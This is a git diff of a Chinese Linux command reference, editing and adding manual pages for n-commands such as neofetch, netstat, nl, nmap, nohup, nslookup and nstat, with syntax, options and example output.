+1,87 @@ +neofetch +=== + +显示带有发行徽标的系统信息的工具 + +## 补充说明 + +**neofetch** 支持Linux/Unix、Windows、macOS。各发行版均已集成包可直接进行安装 + +Neofetch是一个在终端上显示带有发行徽标的系统信息工具,neofetch命令将显示有关相应系统的简要信息。 +显示的信息包括: 型号、操作系统、内核、CPU、GPU、内存、正常运行时间、程序包、shell、分辨率、DE、WM、WM主题、主题、图标和终端等 + +Neofetch是一个开源工具,[项目地址](https://github.com/dylanaraps/neofetch) + +### 安装 + +Debian/Ubuntu + +```shell +sudo apt install neofetch -y +``` + +CentOS + +```shell +sudo yum install neofetch -y +sudo dnf install neofetch -y +``` + +[更多系统安装](https://github.com/dylanaraps/neofetch/wiki/Installation) +### 语法 + +``` +neofetach +``` + +### 返回 + +**回显** + +macOS: +```shell + 'c. mac@Mac-mini.local + ,xNMM. -------------------------- + .OMMMMo OS: macOS 12.4 21F79 arm64 + OMMM0, Host: Macmini9,1 + .;loddo:' loolloddol;. Kernel: 21.5.0 + cKMMMMMMMMMMNWMMMMMMMMMM0: Uptime: 2 hours, 57 mins + .KMMMMMMMMMMMMMMMMMMMMMMMWd. Packages: 20 (brew) + XMMMMMMMMMMMMMMMMMMMMMMMX. Shell: zsh 5.8.1 +;MMMMMMMMMMMMMMMMMMMMMMMM: Resolution: 2560x1440, 1920x1080 +:MMMMMMMMMMMMMMMMMMMMMMMM: DE: Aqua +.MMMMMMMMMMMMMMMMMMMMMMMMX. WM: Quartz Compositor + kMMMMMMMMMMMMMMMMMMMMMMMMWd. WM Theme: Blue (Dark) + .XMMMMMMMMMMMMMMMMMMMMMMMMMMk Terminal: iTerm2 + .XMMMMMMMMMMMMMMMMMMMMMMMMK. Terminal Font: Monaco 12 + kMMMMMMMMMMMMMMMMMMMMMMd CPU: Apple M1 + ;KMMMMMMMWXXWMMMMMMMk. GPU: Apple M1 + .cooc,. .,coo:. Memory: 2251MiB / 16384MiB +``` + +Ubuntu: + +```shell + .-/+oossssoo+/-. root@root + `:+ssssssssssssssssss+:` ------------ + -+ssssssssssssssssssyyssss+- OS: Ubuntu 20.04.4 LTS aarch64 + .ossssssssssssssssssdMMMNysssso. Host: Firefly RK3568-ROC-PC HDMI (Linux) + /ssssssssssshdmmNNmmyNMMMMhssssss/ Kernel: 4.19.193 + +ssssssssshmydMMMMMMMNddddyssssssss+ Uptime: 7 days, 13 hours, 3 mins + /sssssssshNMMMyhhyyyyhmNMMMNhssssssss/ Packages: 1158 (dpkg) +.ssssssssdMMMNhsssssssssshNMMMdssssssss. Shell: bash 5.0.17 ++sssshhhyNMMNyssssssssssssyNMMMysssssss+ Resolution: 1440x900 +ossyNMMMNyMMhsssssssssssssshmmmhssssssso WM: Openbox +ossyNMMMNyMMhsssssssssssssshmmmhssssssso Theme: Arc-Darker [GTK3] ++sssshhhyNMMNyssssssssssssyNMMMysssssss+ Icons: Adwaita [GTK3] +.ssssssssdMMMNhsssssssssshNMMMdssssssss. Terminal: /dev/pts/0 + /sssssssshNMMMyhhyyyyhdNMMMNhssssssss/ CPU: Firefly RK3568-ROC-PC HDMI (Linux) (4) @ 1.992GHz + +sssssssssdmydMMMMMMMMddddyssssssss+ Memory: 617MiB / 7687MiB + /ssssssssssshdmNNNNmyNMMMMhssssss/ + .ossssssssssssssssssdMMMNysssso. + -+sssssssssssssssssyyyssss+- + `:+ssssssssssssssssss+:` + .-/+oossssoo+/-. +``` + + diff --git a/command/nethogs.md b/command/nethogs.md index 3fe0d3cb9a8..d1f97ffe52e 100644 --- a/command/nethogs.md +++ b/command/nethogs.md @@ -16,12 +16,12 @@ nethogs 本文为你介绍如何在Unix/Linux操作系统下如何安装和使用NetHogs按进程监控网络带宽使用率。 -### 语法 +### 语法 ```shell nethogs(选项)(参数) ``` -### 选项 +### 选项 ```shell usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]] @@ -49,7 +49,7 @@ usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [ ```shell -d : 刷新间隔 -h : 帮助 --p : promiscious 模式 +-p : promiscuous 模式 -t : trace模式 -V : 版本 ``` @@ -81,7 +81,7 @@ yum install nethogs $ sudo apt-get install nethogs ``` -### NetHogs用法 +### NetHogs用法 在基于RedHat系统下键入如下命令启动NetHogs工具。 @@ -101,7 +101,7 @@ Ubuntu 12.10 下的NetHogs预览 正如上图所示,send列和received列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方,而且可以用交互命令控制排序,下面将要讨论这些交互命令。 -### NetHogs 命令行参数 +### NetHogs 命令行参数 以下就是NetHogs命令行的参数,用-d来添加刷新频率参数,device name 用来检测给定的某个或者某些设备的带宽(默认是eth0)。例如:设置5秒钟的刷新频率,键入如下命令即可: @@ -137,4 +137,4 @@ $ sudo nethogs eth0 eth1 关于NetHogs命令行工具的完整参数列表,可以参考NetHogs的手册,使用方法是在终端里输入`man nethogs`或者`sudo man nethogs`,更多信息请参考NetHogs项目主页。 - + diff --git a/command/netstat.md b/command/netstat.md index 2f15035645a..97bf34ae5c8 100644 --- a/command/netstat.md +++ b/command/netstat.md @@ -7,13 +7,13 @@ netstat **netstat命令** 用来打印Linux中网络系统的状态信息,可让你得知整个Linux系统的网络情况。 -### 语法 +### 语法 ```shell netstat(选项) ``` -### 选项 +### 选项 ```shell -a或--all:显示所有连线中的Socket; @@ -42,7 +42,7 @@ netstat(选项) --ip或--inet:此参数的效果和指定"-A inet"参数相同。 ``` -### 实例 +### 实例 **列出所有端口 (包括监听和未监听的)** @@ -68,11 +68,11 @@ netstat -s 显示所有端口的统计信息 netstat -st 显示TCP端口的统计信息 netstat -su 显示UDP端口的统计信息 -```shell +​```shell **在netstat输出中显示 PID 和进程名称** -```shell +​```shell netstat -pt ``` @@ -138,7 +138,7 @@ netstat -an | grep ':80' ``` **通过端口找进程ID** - + ```bash netstat -anp|grep 8081 | grep LISTEN|awk '{printf $7}'|cut -d/ -f1 ``` @@ -171,5 +171,42 @@ netstat -nt | grep -e 127.0.0.1 -e 0.0.0.0 -e ::: -v | awk '/^tcp/ {++state[$NF] netstat -anpo | grep "php-cgi" | wc -l ``` +## 扩展知识 + +### 网络连接状态详解 + +**共有12中可能的状态**,前面11种是按照TCP连接建立的三次握手和TCP连接断开的四次挥手过程来描述的: + +1. LISTEN:首先服务端需要打开一个socket进行监听,状态为 LISTEN,侦听来自远方TCP端口的连接请求 ; + +2. SYN_SENT:客户端通过应用程序调用connect进行active open,于是客户端tcp发送一个SYN以请求建立一个连接,之后状态置为 SYN_SENT,在发送连接请求后等待匹配的连接请求; + +3. SYN_RECV:服务端应发出ACK确认客户端的 SYN,同时自己向客户端发送一个SYN,之后状态置为,在收到和发送一个连接请求后等待对连接请求的确认; + +4. ESTABLISHED:代表一个打开的连接,双方可以进行或已经在数据交互了, 代表一个打开的连接,数据可以传送给用户; + +5. FIN_WAIT1:主动关闭(active close)端应用程序调用close,于是其TCP发出FIN请求主动关闭连接,之后进入FIN_WAIT1状态, 等待远程TCP的连接中断请求,或先前的连接中断请求的确认; + +6. CLOSE_WAIT:被动关闭(passive close)端TCP接到FIN后,就发出ACK以回应FIN请求(它的接收也作为文件结束符传递给上层应用程序),并进入CLOSE_WAIT, 等待从本地用户发来的连接中断请求; + +7. FIN_WAIT2:主动关闭端接到ACK后,就进入了 FIN-WAIT-2,从远程TCP等待连接中断请求; + +8. LAST_ACK:被动关闭端一段时间后,接收到文件结束符的应用程 序将调用CLOSE关闭连接,这导致它的TCP也发送一个 FIN,等待对方的ACK.就进入了LAST-ACK,等待原来发向远程TCP的连接中断请求的确认; + +9. TIME_WAIT:在主动关闭端接收到FIN后,TCP 就发送ACK包,并进入TIME-WAIT状态,等待足够的时间以确保远程TCP接收到连接中断请求的确认; + +10. CLOSING: 比较少见,等待远程TCP对连接中断的确认; + +11. CLOSED: 被动关闭端在接受到ACK包后,就进入了closed的状态,连接结束,没有任何连接状态; + +12. UNKNOWN:未知的Socket状态; + +**常见标志位** + +* SYN: (同步序列编号,Synchronize Sequence Numbers)该标志仅在三次握手建立TCP连接时有效。表示一个新的TCP连接请求。 + +* ACK: (确认编号,Acknowledgement Number)是对TCP请求的确认标志,同时提示对端系统已经成功接收所有数据。 + +* FIN: (结束标志,FINish)用来结束一个TCP回话.但对应端口仍处于开放状态,准备接收后续数据。 + - diff --git a/command/newusers.md b/command/newusers.md index db3cb2a69c6..1208d39cbd5 100644 --- a/command/newusers.md +++ b/command/newusers.md @@ -7,17 +7,17 @@ newusers **newusers命令** 用于批处理的方式一次创建多个命令。 -### 语法 +### 语法 ```shell newusers(参数) ``` -### 参数 +### 参数 用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。 -### 实例 +### 实例 实用newusers命令批量添加用户: @@ -53,4 +53,3 @@ jingang1:x:521:521::/home/jingang1:/sbin/nologin 关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。 - \ No newline at end of file diff --git a/command/nfsstat.md b/command/nfsstat.md index 98646ea876c..f08495ce416 100644 --- a/command/nfsstat.md +++ b/command/nfsstat.md @@ -7,13 +7,13 @@ nfsstat **nfsstat命令** 用于列出NFS客户端和服务器的工作状态。 -### 语法 +### 语法 ```shell nfsstat(选项) ``` -### 选项 +### 选项 ```shell -s:仅列出NFS服务器端状态; @@ -26,7 +26,7 @@ nfsstat(选项) -r:仅打印rpc状态。 ``` -### 实例 +### 实例 要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息,输入: @@ -53,4 +53,3 @@ nfsstat –s ``` - \ No newline at end of file diff --git a/command/ngrep.md b/command/ngrep.md index bbdf88f6095..c4ffc77340b 100644 --- a/command/ngrep.md +++ b/command/ngrep.md @@ -7,7 +7,7 @@ ngrep **ngrep命令** 是grep命令的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包,理解bpf的过滤机制。 -### 安装 +### 安装 ngrep命令的下载地址:http://ngrep.sourceforge.net/,libpcap下载地址:http://www.tcpdump.org/。先用`yum install libpcap`完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。 @@ -31,7 +31,7 @@ ngrep的安装就是 configure/make/make install 三部曲。 在安装后输入ngrep来验证下安装是否成功。 -### 语法 +### 语法 ```shell ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num> @@ -39,7 +39,7 @@ ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num> <-P char> <-F file> ``` -### 选项 +### 选项 ```shell -e # 显示空数据包 @@ -70,7 +70,7 @@ ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num> -L # 查询网卡接口 ``` -### 实例 +### 实例 捕捉cloudian:18080端口的request和response,`-W byline`用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。`-d lo`是监听本地网卡: @@ -136,4 +136,3 @@ yi7E53UBOcv4V. ``` - \ No newline at end of file diff --git a/command/nice.md b/command/nice.md index 96a452ae71f..a5c3640fc35 100644 --- a/command/nice.md +++ b/command/nice.md @@ -1,29 +1,30 @@ nice === -改变程序执行的优先权等级 +调整程序执行的优先权等级 ## 补充说明 -**nice命令** 用于以指定的进程调度优先级启动其他的程序。 +**nice命令** 用于调整进程调度优先级启动其他的程序。 -### 语法 + +### 语法 ```shell -nice(选项)(参数) +nice [选项] [命令 [参数]...] ``` -### 选项 +### 选项 ```shell --n:指定进程的优先级(整数)。 +-n:指定nice值(整数,-20(最高)~19(最低))。 ``` -### 参数 +### 参数 指令及选项:需要运行的指令及其他选项。 -### 实例 +### 实例 新建一个进程并设置优先级,将当前目录下的documents目录打包,但不希望tar占用太多CPU: @@ -31,11 +32,10 @@ nice(选项)(参数) nice -19 tar zcf pack.tar.gz documents ``` -方法非常简单,即在原命令前加上`nice -19`。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级: +方法非常简单,即在原命令前加上`nice -19`。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级就应该加上`nice --20`: ```shell -nice --19 tar zcf pack.tar.gz documents +nice --20 tar zcf pack.tar.gz documents ``` - \ No newline at end of file diff --git a/command/nisdomainname.md b/command/nisdomainname.md index a02bed3390d..59f23736389 100644 --- a/command/nisdomainname.md +++ b/command/nisdomainname.md @@ -7,17 +7,16 @@ nisdomainname **nisdomainname命令** 用于显示主机NIS的域名。 -### 语法 +### 语法 ```shell nisdomainname(选项) ``` -### 选项 +### 选项 ```shell -v:详细信息模式。 ``` - \ No newline at end of file diff --git a/command/nl.md b/command/nl.md index 327b402afa3..58fbb0cf50f 100644 --- a/command/nl.md +++ b/command/nl.md @@ -1,94 +1,156 @@ nl === -在Linux系统中计算文件内容行号 +为每一个文件添加行号。 -## 补充说明 - -**nl命令** 读取 file 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。在输出中,nl命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。除非使用`-p`选项,nl 命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。其默认的结果与`cat -n`有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐0等等的功能。 - -### 语法 +## 概要 ```shell -nl (选项) (参数) +nl [OPTION]... [FILE]... ``` -### 选项 +## 主要用途 + +- 将每一个输入的文件添加行号后发送到标准输出。 +- 当没有文件或文件为`-`时,读取标准输入 +- 处理逻辑页(logical page)。 + +## 选项 ```shell --b :指定行号指定的方式,主要有两种: - -b a :表示不论是否为空行,也同样列出行号(类似 cat -n); - -b t :如果有空行,空的那一行不要列出行号(默认值); +-b, --body-numbering=STYLE 使用STYLE 为body部分的行附加行号。 +-d, --section-delimiter=CC 使用CC作为logical page的分隔符。 +-f, --footer-numbering=STYLE 使用STYLE 为footer部分的行附加行号。 +-h, --header-numbering=STYLE 使用STYLE 为header部分的行附加行号。 +-i, --line-increment=NUMBER 行号递增间隔为NUMBER。 +-l, --join-blank-lines=NUMBER 连续NUMBER行的空行作为一行处理。 +-n, --number-format=FORMAT 根据FORMAT插入行号。 +-p, --no-renumber 不要在每个部分重置行号。 +-s, --number-separator=STRING 在行号后添加字符串STRING。 +-v, --starting-line-number=NUMBER 每部分的起始行号。 +-w, --number-width=NUMBER 行号宽度为NUMBER。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 --n :列出行号表示的方法,主要有三种: - -n ln :行号在萤幕的最左方显示; - -n rn :行号在自己栏位的最右方显示,且不加 0 ; - -n rz :行号在自己栏位的最右方显示,且加 0 ; --w :行号栏位的占用的位数。 --p :在逻辑定界符处不重新开始计算。 -``` +默认选项为:-bt -d'\:' -fn -hn -i1 -l1 -nrn -sTAB -v1 -w6 -### 实例 +CC是由两个字符组成的,默认为\: ,第二个字符如果缺失则默认为: - **用 nl 列出 log2015.log 的内容** : +STYLE可以为下列可用值之一: -```shell -root@localhost [test]# nl log2015.log -1 2015-01 -2 2015-02 +a 所有行标记行号。 +t 仅为非空行标记行号。 +n 不标记行号。 +pBRE 符合基础正则表达式(BRE)的行会标记行号。 + +FORMAT可以为下列可用值之一: + +ln 左对齐,不会在开始部分补充0以满足宽度。 +rn 右对齐,不会在开始部分补充0以满足宽度。 +rz 右对齐,会在开始部分补充0以满足宽度。 -3 ======[root@localhost test]# +logical page +三部分组成(header, body, footer) +起始标记(header \:\:\:, body \:\:, footer \:) ``` -说明:文件中的空白行,nl 不会加上行号 +## 参数 + +FILE(可选):要处理的文件,可以为一或多个。 + +## 返回值 - **用 nl 列出 log2015.log 的内容,空本行也加上行号** : +返回0表示成功,返回非0值表示失败。 + +## 例子 ```shell -[root@localhost test]# nl -b a log2015.log -1 2015-01 -2 2015-02 -3 -4 -5 ======[root@localhost test]# +nl_logicalpage.txt:该文件用于说明nl命令处理逻辑页,内容如下: +\:\:\: +header_1 +\:\: +body_1 +\: +footer_1 +\:\:\: +header_2 +\:\: +body_2 +\: +footer_2 ``` - **让行号前面自动补上0,统一输出格式:** +```shell +[user2@pc ~]$ nl nl_logicalpage.txt + + header_1 + + 1 body_1 + + footer_1 + + header_2 + + 1 body_2 + + footer_2 + +[user2@pc ~]$ nl -v0 -fa -ha nl_logicalpage.txt + + 0 header_1 + + 1 body_1 + + 2 footer_1 + + 0 header_2 + + 1 body_2 + + 2 footer_2 + +[user2@pc ~]$ nl -p -fa -ha nl_logicalpage.txt + + 1 header_1 + + 2 body_1 + + 3 footer_1 + + 4 header_2 + + 5 body_2 + + 6 footer_2 +``` ```shell -[root@localhost test]# nl -b a -n rz log2015.log -000001 2015-01 -000002 2015-02 -000003 2015-03 -000004 2015-04 -000005 2015-05 -000006 2015-06 -000007 2015-07 -000008 2015-08 -000009 2015-09 -000010 2015-10 -000011 2015-11 -000012 2015-12 -000013 ======= - -[root@localhost test]# nl -b a -n rz -w 3 log2015.log -001 2015-01 -002 2015-02 -003 2015-03 -004 2015-04 -005 2015-05 -006 2015-06 -007 2015-07 -008 2015-08 -009 2015-09 -010 2015-10 -011 2015-11 -012 2015-12 -013 ======= +nl_normal.txt:该文件用于说明nl命令处理普通文件,内容如下: +ZhuangZhu-74 +2019-11-21 +127.0.0.1 ``` -说明:`nl -b a -n rz`命令行号默认为六位,要调整位数可以加上参数`-w 3`调整为3位。 +```shell +[user2@pc ~]$ nl nl_normal.txt + 1 ZhuangZhu-74 + 2 2019-11-21 + 3 127.0.0.1 + +[user2@pc ~]$ nl -b p'1$' nl_normal.txt + ZhuangZhu-74 + 1 2019-11-21 + 2 127.0.0.1 + +[user2@pc ~]$ nl -b p'^[A-Z]' nl_normal.txt + 1 ZhuangZhu-74 + 2019-11-21 + 127.0.0.1 +``` + +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 nl`,`info coreutils 'nl invocation'`。 - \ No newline at end of file diff --git a/command/nm.md b/command/nm.md index 54284e43ae2..9dbade0874b 100644 --- a/command/nm.md +++ b/command/nm.md @@ -7,13 +7,13 @@ nm **nm命令** 被用于显示二进制目标文件的符号表。 -### 语法 +### 语法 ```shell nm(选项)(参数) ``` -### 选项 +### 选项 ```shell -A:每个符号前显示文件名; @@ -22,9 +22,8 @@ nm(选项)(参数) -r:反序显示符号表。 ``` -### 参数 +### 参数 目标文件:二进制目标文件,通常是库文件和可执行文件。 - \ No newline at end of file diff --git a/command/nmap.md b/command/nmap.md index 3a6d193e218..62f5802de2b 100644 --- a/command/nmap.md +++ b/command/nmap.md @@ -7,13 +7,13 @@ nmap **nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。 -### 语法 +### 语法 ```shell nmap(选项)(参数) ``` -### 选项 +### 选项 ```shell -O:激活操作探测; @@ -42,11 +42,11 @@ nmap(选项)(参数) --send-eth/--send-ip 使用原始以太网发送/构造指定IP发送 ``` -### 参数 +### 参数 ip地址:指定待扫描报文中的TCP地址。 -### 实例 +### 实例 **安装nmap** @@ -54,20 +54,29 @@ ip地址:指定待扫描报文中的TCP地址。 yum install nmap ``` - **使用nmap扫描www.jsdig.com的开放端口** + **使用nmap扫描scanme.nmap.org的开放端口** ```shell -[root@localhost ~]# nmap www.jsdig.com +[root@localhost ~]# nmap scanme.nmap.org + +Starting Nmap 7.92 ( https://nmap.org ) at 2025-08-06 15:22 CST +Nmap scan report for scanme.nmap.org (45.33.32.156) +Host is up (0.37s latency). +Not shown: 991 closed tcp ports (reset) +PORT STATE SERVICE +22/tcp open ssh +80/tcp open http +135/tcp filtered msrpc +139/tcp filtered netbios-ssn +445/tcp filtered microsoft-ds +593/tcp filtered http-rpc-epmap +4444/tcp filtered krb524 +9929/tcp open nping-echo +31337/tcp open Elite + +Nmap done: 1 IP address (1 host up) scanned in 60.36 seconds +``` -Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST -Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8): -Not shown: 1678 filtered ports -PORT STATE service -22/tcp open ssh -80/tcp open http -Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds -``` - diff --git a/command/nmcli.md b/command/nmcli.md index 9515ac53ce3..f340f7ed2a2 100644 --- a/command/nmcli.md +++ b/command/nmcli.md @@ -7,13 +7,13 @@ nmcli **nmcli命令** 是 NetworkManager client 网络管理客户端。 -### 语法 +### 语法 ```shell nmcli [OPTIONS] OBJECT { COMMAND | help } ``` -### 选项 +### 选项 ```shell OPTIONS @@ -37,20 +37,31 @@ OBJECT a[gent] NetworkManager秘密代理或polkit代理 ``` -### 实例 +### 实例 ```shell -nmcli connection show # 查看当前连接状态 -nmcli connection reload # 重启服务 -nmcli connection show -active # 显示活动的连接 -nmcli connection show "lan eth0"# 显示指定一个网络连接配置 -nmcli device status # 显示设备状态 -nmcli device show eno16777736 # 显示指定接口属性 -nmcli device show # 显示全部接口属性 -nmcli con up static # 启用static连接配置 -nmcli con up default # 启用default连接配置 -nmcli con add help # 查看帮助 +nmcli connection show # 查看当前连接状态 +nmcli connection reload # 重启服务 +nmcli connection show -active # 显示活动的连接 +nmcli connection show "lan eth0" # 显示指定一个网络连接配置 +nmcli device status # 显示设备状态 +nmcli device show eno16777736 # 显示指定接口属性 +nmcli device show # 显示全部接口属性 +nmcli con up static # 启用static连接配置 +nmcli con up default # 启用default连接配置 +nmcli con add help # 查看帮助 ``` - \ No newline at end of file +### 创建网络会话 + +```shell +nmcli connection add con-name company ifname ens33 autoconnect no type ethernet ip4 192.168.1.2/24 gw4 192.168.1.1 +# con-name 指定会话名称, +# ifname 指定本机网卡 +# autoconnect no 是否自动连接 +# ethernet 指定网卡类型 +# ip4/ip6 +# gw4/gw5 +``` + diff --git a/command/nohup.md b/command/nohup.md index e82bcebe3bb..e0ee09d8efb 100644 --- a/command/nohup.md +++ b/command/nohup.md @@ -9,23 +9,24 @@ nohup 无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。 -### 语法 +### 语法 +```shell nohup(选项)(参数) +``` -### 选项 +### 选项 ```shell --help:在线帮助; --version:显示版本信息。 ``` -### 参数 +### 参数 程序及选项:要运行的程序及选项。 -### 实例 - +### 实例 使用nohup命令提交作业,如果使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件: @@ -47,4 +48,38 @@ nohup wget site.com/file.zip nohup ping -c 10 baidu.com ``` - +最简单的后台运行 + +```shell +nohup command & +``` + +输出默认重定向到当前目录下 nohup.out 文件 + +```shell +nohup python main.py & +``` + +自定义输出文件(标准输出和错误输出合并到 main.log) + +```shell +nohup python main.py >> main.log 2>&1 & +``` + +与上一个例子相同作用的简写方法 + +```shell +nohup python main.py &> main.log & +``` + +不记录输出信息 + +```shell +nohup python main.py &> /dev/null & +``` + +不记录输出信息并将程序的进程号写入 pidfile.txt 文件中,方便后续杀死进程 + +```shell +nohup python main.py &> /dev/null & echo $! > pidfile.txt +``` \ No newline at end of file diff --git a/command/nologin.md b/command/nologin.md index 47878637f90..569576f7bde 100644 --- a/command/nologin.md +++ b/command/nologin.md @@ -7,13 +7,13 @@ nologin **nologin命令** 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统。 -### 语法 +### 语法 ```shell nologin ``` -### 实例 +### 实例 Linux禁止用户登录: @@ -56,4 +56,3 @@ touch /etc/nologin 除root以外的用户不能登录了。 - \ No newline at end of file diff --git a/command/nproc.md b/command/nproc.md new file mode 100644 index 00000000000..86ebcf7a798 --- /dev/null +++ b/command/nproc.md @@ -0,0 +1,36 @@ +nproc +=== + +打印可用的处理器单元数量。 + +## 概要 + +```shell +nproc [OPTION]... +``` + +## 主要用途 + +- 打印可用的处理器单元数量。 + +## 选项 + +```shell +--all 打印已安装处理器的数量。 +--ignore=N 如果可以的情况下,排除 N 个处理单元。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 +``` + +## 例子 + +```shell +[root@localhost ~]# nproc +8 +``` + +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 nproc`,`info coreutils 'nproc invocation'`。 + + diff --git a/command/nslookup.md b/command/nslookup.md index d2f4dddb033..5eff691a82b 100644 --- a/command/nslookup.md +++ b/command/nslookup.md @@ -7,27 +7,32 @@ nslookup **nslookup命令** 是常用域名查询工具,就是查DNS信息用的命令。 -nslookup4有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。而在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。 +nslookup有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。 + +在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息,此时也可以指定查询的DNS服务器。 进入交互模式,直接输入nslookup命令,不加任何参数,则直接进入交互模式,此时nslookup会连接到默认的域名服务器(即`/etc/resolv.conf`的第一个dns地址)。或者输入`nslookup -nameserver/ip`。进入非交互模式,就直接输入`nslookup 域名`就可以了。 -### 语法 +### 语法 ```shell -nslookup(选项)(参数) +nslookup(选项)(参数)(DNS服务器) ``` -### 选项 +### 选项 ```shell -sil:不显示任何警告信息。 ``` -### 参数 +### 参数 域名:指定要查询域名。 -### 实例 +### DNS服务器 +不填的话采用默认域名服务器(即`/etc/resolv.conf`的第一个dns地址),填写DNS服务器IP的话,nslookup会向该域名服务器查询域名。 + +### 实例 ```shell [root@localhost ~]# nslookup www.jsdig.com @@ -38,7 +43,15 @@ Non-authoritative answer: www.jsdig.com canonical name = host.1.jsdig.com. Name: host.1.jsdig.com Address: 100.42.212.8 + +[root@localhost ~]# nslookup www.sustech.edu.cn 8.8.8.8 +Server: 8.8.8.8 +Address: 8.8.8.8#53 + +Non-authoritative answer: +www.sustech.edu.cn canonical name = www.sustech.edu.cn.w.cdngslb.com. +Name: www.sustech.edu.cn.w.cdngslb.com +Address: 113.96.179.222 ``` - \ No newline at end of file diff --git a/command/nstat.md b/command/nstat.md new file mode 100644 index 00000000000..45d0c42cd7b --- /dev/null +++ b/command/nstat.md @@ -0,0 +1,137 @@ +nstat +=== + +nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。 + +## 补充说明 + +大多数命令行用户都熟悉 netstat ,这是 net-tools 软件包中的命令。目前新版本中 net-tools 软件包几乎完全被弃用,取而代之的是 ip 命令套件,而 nstat 属于新软件包。 + +### 语法 + +```s +nstat [OPTION] [ PATTERN [ PATTERN ] ] +``` + +### 选项 + +```shell +-h:显示帮助信息; +-V:显示指令版本信息; +-z:转储零计数器。默认情况下不显示它们; +-r:清零历史统计; +-n:不显示任何内容,仅更新历史; +-a:显示计数器的绝对值; +-d:以守护进程模式运行并收集统计数据 +-s:不更新历史; +-j:JSON格式输出。 +``` + +### 实例 + +直接输入以查询网络接口状态,以下展示了 IPv4,IPv6,TCP,UDP,ICMP 的统计数据: + +```shell +nstat +#kernel +IpInReceives 769152 0.0 +IpInAddrErrors 1 0.0 +IpInDelivers 769146 0.0 +IpOutRequests 764236 0.0 +IpOutDiscards 20 0.0 +IpOutNoRoutes 1 0.0 +IcmpInMsgs 92 0.0 +IcmpInDestUnreachs 92 0.0 +IcmpOutMsgs 94 0.0 +IcmpOutDestUnreachs 94 0.0 +IcmpMsgInType3 92 0.0 +IcmpMsgOutType3 94 0.0 +TcpActiveOpens 1786 0.0 +TcpPassiveOpens 142 0.0 +TcpAttemptFails 11 0.0 +TcpEstabResets 72 0.0 +TcpInSegs 756827 0.0 +TcpOutSegs 802908 0.0 +TcpRetransSegs 767 0.0 +TcpOutRsts 702 0.0 +UdpInDatagrams 12075 0.0 +UdpNoPorts 82 0.0 +UdpOutDatagrams 7045 0.0 +UdpIgnoredMulti 70 0.0 +Ip6InReceives 5005 0.0 +Ip6InDelivers 5005 0.0 +Ip6OutRequests 131 0.0 +Ip6OutDiscards 2 0.0 +Ip6OutNoRoutes 959 0.0 +Ip6InMcastPkts 4999 0.0 +Ip6OutMcastPkts 125 0.0 +Ip6InOctets 797462 0.0 +Ip6OutOctets 16421 0.0 +Ip6InMcastOctets 797030 0.0 +Ip6OutMcastOctets 15949 0.0 +Ip6InNoECTPkts 5005 0.0 +Icmp6InMsgs 3 0.0 +Icmp6OutMsgs 51 0.0 +Icmp6InNeighborAdvertisements 1 0.0 +Icmp6InMLDv2Reports 2 0.0 +Icmp6OutRouterSolicits 11 0.0 +Icmp6OutNeighborSolicits 4 0.0 +Icmp6OutMLDv2Reports 36 0.0 +Icmp6InType136 1 0.0 +Icmp6InType143 2 0.0 +Icmp6OutType133 11 0.0 +Icmp6OutType135 4 0.0 +Icmp6OutType143 36 0.0 +Udp6InDatagrams 4998 0.0 +Udp6OutDatagrams 76 0.0 +TcpExtTW 385 0.0 +TcpExtPAWSEstab 